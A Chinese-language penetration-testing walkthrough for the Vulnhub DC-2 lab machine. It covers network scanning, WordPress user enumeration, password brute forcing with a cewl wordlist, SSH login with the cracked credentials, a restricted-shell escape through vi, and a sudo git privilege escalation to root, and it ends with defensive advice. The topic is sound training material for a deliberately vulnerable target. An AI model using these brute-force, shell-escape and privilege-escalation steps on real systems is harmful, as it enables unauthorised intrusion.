vulnhub系列9——DC 2
字数 1199 2025-08-12 11:34:31
DC-2 靶机渗透测试详细教程
靶机信息
- 名称:DC-2 (Vulnhub)
- 难度:中级
- 类型:WordPress网站+SSH服务
- 主要技术点:信息收集、WordPress漏洞利用、密码爆破、Restricted Shell绕过、sudo提权
环境准备
- 下载DC-2靶机并导入虚拟机
- 确保攻击机与靶机在同一网络
- 准备Kali Linux或其他渗透测试系统
渗透测试步骤
一、信息收集
1. 发现目标IP
netdiscover -r 192.168.24.0/24
发现目标IP为192.168.24.239(根据实际环境调整)
2. 端口扫描与服务识别
nmap -sV -Pn -sC 192.168.24.239 -p 0-65535
扫描结果分析:
- 80端口:HTTP服务,WordPress网站
- 7744端口:SSH服务
3. 域名发现与hosts绑定
Nmap扫描结果显示有域名dc-2,需在本地hosts文件中添加:
echo "192.168.24.239 dc-2" >> /etc/hosts
二、WordPress站点渗透
1. 初步扫描
wpscan --url http://dc-2 --api-token YOUR_API_TOKEN
扫描结果显示存在多个漏洞但直接利用不成功
2. 发现提示
在网站页面发现flag1,提示:
- 需要枚举用户
- 使用cewl生成密码字典
- 进行密码爆破
3. 用户枚举
wpscan --url http://dc-2 --api-token YOUR_API_TOKEN --enumerate u
发现三个用户:
- admin
- tom
- jerry
4. 生成密码字典
cewl http://dc-2 -w passwd.txt
5. 密码爆破
爆破tom用户:
wpscan --url http://dc-2 --api-token YOUR_API_TOKEN -U tom -P passwd.txt
爆破结果:
- tom: parturient
- jerry: adipiscing
6. 登录后台
使用获得的凭证登录WordPress后台,发现flag2
三、SSH服务渗透
1. SSH登录尝试
使用爆破获得的用户名和密码尝试SSH登录:
ssh tom@dc-2 -p 7744
密码:parturient
2. 绕过Restricted Shell
登录后发现处于受限shell环境,使用vi绕过:
vi
:set shell=/bin/sh
:shell
然后设置环境变量:
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
四、权限提升
1. 切换用户
检查/etc/passwd发现有jerry用户,尝试切换:
su jerry
密码:adipiscing
2. 检查sudo权限
sudo -l
发现jerry可以无需密码以root权限执行git命令
3. 利用git提权
sudo git -p help
在帮助界面输入:
!/bin/sh
即可获得root shell
4. 获取最终flag
在root目录下找到最终的flag文件
技术要点总结
- 信息收集:使用netdiscover和nmap全面扫描目标
- WordPress渗透:
- WPScan进行漏洞扫描和用户枚举
- Cewl生成定制化密码字典
- 针对WordPress的密码爆破技术
- Restricted Shell绕过:
- 利用vi编辑器功能绕过限制
- 环境变量修复技术
- 权限提升:
- 用户切换与密码复用
- Sudo提权技术(git命令滥用)
防御建议
- 限制WordPress用户枚举
- 使用强密码策略
- 禁用不必要的sudo权限
- 限制SSH登录尝试
- 使用更安全的shell限制方法
参考资源
- WPScan官方文档
- Cewl使用手册
- Restricted Shell绕过技术
- Sudo提权技术文档
通过本教程,您应该能够完整掌握DC-2靶机的渗透测试流程及相关技术要点。